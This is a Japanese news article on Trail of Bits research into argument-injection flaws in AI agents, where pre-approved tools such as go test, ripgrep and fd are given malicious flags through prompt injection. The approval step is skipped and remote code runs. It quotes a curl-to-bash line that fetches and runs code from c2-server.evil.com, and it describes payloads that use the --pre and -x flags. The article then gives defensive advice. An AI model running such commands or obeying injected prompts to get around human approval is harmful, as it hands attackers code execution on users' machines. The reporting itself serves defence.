AI エージェントに存在する引数インジェクションの問題：システム・コマンドの悪用が可能？

Critical Argument Injection Vulnerability in Popular AI Agents Let Attackers Execute Remote Code

2025/10/22 CyberSecurityNews — 名前が公表されていない３つの AI エージェント・プラットフォームに、深刻な引数インジェクションの脆弱性が存在することが判明した。この脆弱性を悪用する攻撃者は、人間による承認の安全策を回避し、無害に見えるプロンプトを介してリモート・コード実行 (RCE) を引き起こせる。つまり、ファイル検索やコード分析などのタスクの効率化を目的として設計された、事前に承認されたシステム・コマンドの悪用が、これらの脆弱性により可能になってしまう。それが浮き彫りにするのは、エージェント型 AI システムに広く見られる設計上の欠陥だと、Trail of Bits は述べている。

それらの AI エージェントは、”find／grep／git／go test” などのネイティブ・ツールを利用して、ファイル・システム操作やバージョン管理を処理する。つまり、それらの機能を新たに設計／開発することなく、パフォーマンス／信頼性／開発速度の向上を実現している。

しかし、これらの事前承認されたコマンドは、ユーザー入力が引数に影響を与える場合に攻撃対象領域を作り出し、CWE-88 で定義されている引数インジェクションを許してしまう。

いくつかのシステムでは、コマンドをホワイト・リストと照合して検証する一方で、引数フラグを無視することが多く、ユーティリティのパラメータ空間が広大であるため、包括的なコマンド・ブロックは現実的ではない。

たとえば、簡略化された Go 関数は “grep” などのコマンドの安全をチェックするが、ユーザーが指定した引数はチェックされずに追加されるため、エクスプロイトの余地が残される。

選択的フィルタリングにはコマンド・オプションに関する徹底的な知識が必要であり、AI の動的な性質によりさらに困難になるため、このアンチ・パターンは依然として存在している。

ある CLI ベースのエージェントでは、攻撃者が作成するプロンプトにより「go test -exec ‘bash -c “curl c2-server.evil.com?unittest= | bash; echo success”‘」が実行され、”-exec” フラグを利用して不正な “curl” および “bash” コマンドが取り込まれる。その結果として、承認を必要としない RCE が発生する。

別の例では、”git show” で 16 進数でエンコードされたペイロードを介してファイルを作成し、”ripgrep” の “–pre” フラグにより対象となるファイルを実行することで、正規表現フィルタの回避が可能になる。Trail of Bits によると、すべてが JSON 形式のプロンプトにより実行され、モデルによるツールの使用につながったという。

攻撃パターン

１つのシステムに存在するファサード (Facade) の脆弱性により、”fd” コマンドに対して “-x=python3″ などの悪意のフラグが追加され、”os.system” により事前に作成された Python ペイロードを介して任意のアクションが実行された。

これらのワンショット攻撃は、コード・コメントやリポジトリに埋め込むことが可能なものであり、GTFOBins および LOLBAS プロジェクトでカタログ化された “living off the land” 手法を利用するものだ。

2025年8月に Johann Rehberger により公表された Amazon Q コマンド・インジェクションに関するレポートや、Claude Code の CVE-2025-54795 などの脆弱性も、これらのリスクを反映するものだった。

これらの脅威に対抗するために、研究者たちが推奨するのは、Container／WebAssembly／macOS Seatbelt などの分離を使用してエージェントのアクセスを制限し、サンドボックス化を防御策のコアにすることだ。

ファサード・パターンでは、ユーザー入力の前に、”–” などの引数セパレータを常に挿入し、”subprocess.run(shell=False)” などのメソッドを使用して、シェルの実行を無効化する必要がある。

安全なコマンドのホワイト・リストには依然として欠陥が残るため、サンドボックスは必須である。”find” などのツールはフラグを介してコード実行を可能にするため、LOLBAS リソースに対する監査が求められる。

開発者にとって必要なことは、ログ記録の実装／ホワイト・リストへの非依存／疑わしいチェーンに対する人為的なループの再導入などである。また、ユーザーはアクセスを制限し、信頼できない入力に対するコンテナの使用が必須となる。

セキュリティ・エンジニアであれば、プロンプトやドキュメントを介したツールのマッピングとフラグのファジングにより、エクスプロイト・データベースと比較できるはずだ。エージェント AI が普及するにつれて、それらの協調的な情報の開示により、優先したセキュリティの定着という方向へのシフトが可能になる。

既存のネイティブ・ツールである “find／grep／git／go test などを呼び出す AI エージェントが、ユーザー入力をコマンド引数に反映してしまうという設計上の欠陥が指摘されています。主因は、事前承認したコマンド本体だけを検証し、引数の検証を怠っている実装と、ユーティリティ側の広大なパラメータ空間を前提とした簡易なホワイト・リストにあります。モデルが動的にツール呼び出しを組み立てる性質も相まって、静的検査だけでは抜け穴を塞げず、”-exec” や “--pre” といったフラグ経由で、シェル実行や外部フェッチが取り込まれ、承認を経ずにリモートコード実行 (RCE) につながると、この記事は指摘しています。よろしければ、カテゴリ AI/ML を、ご参照ください。